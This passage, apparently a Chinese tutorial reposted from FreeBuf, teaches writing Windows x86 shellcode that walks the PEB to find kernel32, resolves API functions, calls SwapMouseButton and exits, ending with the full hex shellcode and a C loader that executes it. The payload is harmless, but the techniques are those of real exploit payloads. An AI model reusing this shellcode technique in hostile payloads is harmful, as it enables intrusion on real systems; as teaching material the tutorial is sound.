注意我们安放存入在栈上的是”LoadLibraryA“,而不是“LoadLibrary”。这是因为kernel32.dll并不导出“LoadLibrary”函数,而是导出两个函数:适用于ANSI字符串参数的“LoadLibraryA”函数和适用于Unicode字符串参数的“LoadLibraryW”函数。

5.加载 user32.dll动态链接库 
上面已经获取LoadLibrary函数的地址,我们现在使用它来把“user32.dll”动态链接库加载到内存,这个动态链接库包含我们需要的SwapMouseButton函数。

add esp, 0xc    ; pop "LoadLibraryA"
pop ecx         ; ECX = 0
push eax        ; EAX = LoadLibraryA
push ecx
mov cx, 0x6c6c  ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp        ; "user32.dll"
call eax        ; LoadLibrary("user32.dll")
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

(1-3行):之前把“LoadLibraryA”字符串存放在栈上,所以我们现在需要清除它。最简单的方式并不是3条“pops”指令,而是仅需要把esp寄存器增加0xc(意味着12个字节的字符串)即可。在第2行,我们也需要清除函数调用之前存放在栈上的0,然后将ecx寄存器清零。我们现在需要把LoadLibrary函数地址从eax寄存器备份到栈上,因为调用函数之后,返回值会保存在eax寄存器,从可能把LoadLibrary函数地址给清除了。

(4-19行):因为需要调用LoadLibrary(“user32.dll”),所以我们需要再次在栈上存放字符串。现在的情况可能更为棘手,因为字符串的长度不是4的倍数,不能直接通过一些push指令进行存放。取而代之的是,我们首先把取值为0的ecx寄存器压入栈上,然后再把CX寄存器设置为“ll”字符串。CX寄存器是ecx寄存器的后半部分。所以,我们可以把它压入栈上。在第7-8行,我们把“user32.d”字符串存放在栈上,所以现在esp指向“user32.dll”字符串。我们把这个参数再压入栈上,然后调用LoadLibrary加载动态链接库,然后eax寄存器返回user32.dll动态链接库的基地址。

6.获取SwapMouseButton函数地址

既然已经把user32.dl加载至内存中,我们需要调用GetProcAddress来获取SwapMouseButton函数地址。

add esp, 0x10                  ; Clean stack
mov edx, [esp + 0x4]           ; EDX = GetProcAddress
xor ecx, ecx                   ; ECX = 0
push ecx
mov ecx, 0x616E6F74            ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265                ; eBut
push 0x73756F4D                ; Mous
push 0x70617753                ; Swap
push esp                       ; "SwapMouseButton"
push eax                       ; user32.dll address
call edx                       ; GetProc(SwapMouseButton)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

(1-2行):像前面一样,我们需要清理一下栈。在前两行,我们把上面保存的GetProcAddress函数地址存入edx寄存器。之前提到过,在函数调用之后,eax、ecx、及edx寄存器值可能会改变,因为这些寄存器的值在函数调用过程中不会被保存下来。

(3-13行):因为需要调用GetProcAddress(user32.dll,“SwapMouseButton”),所以我们需要再次把字符串存入栈上。首先,在第3-4行,我们把ecx寄存器清零,然后压入栈上。其次,我们把“tona”压入栈上。“ton”字符串代表着“SwapMouseButton”字符串最后3个字节,但是现在后面多加了一个“a”字符。这是一个小技巧,在第7行,我们从栈上存储字符“a”的位置减去0×61.因为字符“a”的ASCII值为0×61,这就意味着把“a”字符转换成了“空(NULL)”字节。接下来,我们把字符串的其余部分压入栈上。我们把存放user32.dll基地址的eax寄存器压入栈上,然后调用GetProcAddress函数。

7.调用SwapMouseButton函数

既然已经获得SwapMouseButton函数地址,我们只需要使用“正确的”参数进行调用即可。

add esp, 0x14 ; Cleanup stack
xor ecx, ecx  ; ECX = 0
inc ecx       ; true
push ecx      ; 1
call eax      ; Swap!
  • 1
  • 2
  • 3
  • 4
  • 5

(1-3行):虽然很无聊,但我们还需要清理一下栈。我们想要调用SwapMouseButton(true),即SwapMouseButton(1),所以先要把“1”压入栈上。我们仅需把ecx寄存器清零,然后再加1即可。如果你需要恢复鼠标的功能,移除inc ecx指令即可。

虽然我们已经完成任务,但是我们想要更为”优雅地“结束进程,因此我们需要在kernel32.dll中找到ExitProcess函数。

add esp, 0x4                    ; Clean stack
pop edx                         ; GetProcAddress
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

(1-3行):从栈上清除”1“。我们也需要读取刚开始在栈上备份的数据,GetProcAddress函数地址保存到edx寄存器,而kernel32基地址保存到ebx寄存器。 
(4-11行):接下来我们已经非常熟悉,把字符串”“ExitProcessa”存放在栈上,然后把最后一个”a“字符替换成“空(NULL)”字节。我们把参数存放在栈上,然后调用GetProcAddress来获取ExitProcess函数地址。

8.调用ExitProcess函数

最后,我们像下面这样调用ExitProcess函数。

xor ecx, ecx ; ECX = 0 
push ecx ; Return code = 0 
call eax ; ExitProcess

(1-3行):我们需要在栈上压入值为0的参数,因此我们只需要把ecx清零,再压入栈上即可,然后调用ExitProcess。终于大功告成了。

现在我们把所有的部分串在一起,最终版的shellcode如下:

xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc]     ; EAX = PEB->Ldr
mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder
lodsd                    ; EAX = Second module
xchg eax, esi            ; EAX = ESI, ESI = EAX
lodsd                    ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]    ; EBX = Base address
mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew
add edx, ebx             ; EDX = PE Header
mov edx, [edx + 0x78]    ; EDX = Offset export table
add edx, ebx             ; EDX = Export table
mov esi, [edx + 0x20]    ; ESI = Offset namestable
add esi, ebx             ; ESI = Names table
xor ecx, ecx             ; EXC = 0

Get_Function:

inc ecx                              ; Increment the ordinal
lodsd                                ; Get name offset
add eax, ebx                         ; Get function name
cmp dword ptr[eax], 0x50746547       ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24]                ; ESI = Offset ordinals
add esi, ebx                         ; ESI = Ordinals table
mov cx, [esi + ecx * 2]              ; Number of function
dec ecx
mov esi, [edx + 0x1c]                ; Offset address table
add esi, ebx                         ; ESI = Address table
mov edx, [esi + ecx * 4]             ; EDX = Pointer(offset)
add edx, ebx                         ; EDX = GetProcAddress

xor ecx, ecx    ; ECX = 0
push ebx        ; Kernel32 base address
push edx        ; GetProcAddress
push ecx        ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp        ; "LoadLibrary"
push ebx        ; Kernel32 base address
call edx        ; GetProcAddress(LL)

add esp, 0xc    ; pop "LoadLibrary"
pop ecx         ; ECX = 0
push eax        ; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c  ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp        ; "user32.dll"
call eax        ; LoadLibrary("user32.dll")

add esp, 0x10                  ; Clean stack
mov edx, [esp + 0x4]           ; EDX = GetProcAddress
xor ecx, ecx                   ; ECX = 0
push ecx
mov ecx, 0x616E6F74            ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265                ; eBut
push 0x73756F4D                ; Mous
push 0x70617753                ; Swap
push esp                       ; "SwapMouseButton"
push eax                       ; user32.dll address
call edx                       ; GetProc(SwapMouseButton)

add esp, 0x14 ; Cleanup stack
xor ecx, ecx  ; ECX = 0
inc ecx       ; true
push ecx      ; 1
call eax      ; Swap!

add esp, 0x4                    ; Clean stack
pop edx                         ; GetProcAddress
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)
xor ecx, ecx                    ; ECX = 0
push ecx                        ; Return code = 0
call eax                        ; ExitProcess
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93

以上就是我们编写第一个shellcode的全部过程。

9.测试shellcode

我们可以使用如下代码来测试shellcode。

#include "stdafx.h"
#include <Windows.h>

int main()
{
    char *shellcode =
    "\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
    "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75"
    "\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68"
    "\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68\x75\x73"
    "\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x74\x6F\x6E\x61\x51\x83\x6C\x24\x03\x61\x68\x65\x42\x75\x74\x68"
    "\x4D\x6F\x75\x73\x68\x53\x77\x61\x70\x54\x50\xFF\xD2\x83\xC4\x14\x33\xC9"
    "\x41" // inc ecx - Remove this to restore the functionality
    "\x51\xFF\xD0\x83\xC4\x04\x5A\x5B\xB9\x65\x73\x73\x61"
    "\x51\x83\x6C\x24\x03\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x53\xFF\xD2\x33\xC9\x51\xFF\xD0";

    // Set memory as executable

    DWORD old = 0;
    BOOL ret = VirtualProtect(shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &old);

    // Call the shellcode

    __asm
    {
        jmp shellcode;
    }

    return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

0x09、结论

希望你已经了解Windows shellcode的工作原理,而且已经具备自定义ASM代码的能力。即使这个shellcode 并没有什么用处,但是这是一个编写自己shellcode的不错起点。我建议你动手编写自己的shellcode,以便真正理解编写这类代码背后的挑战。

本文转载自freebuf。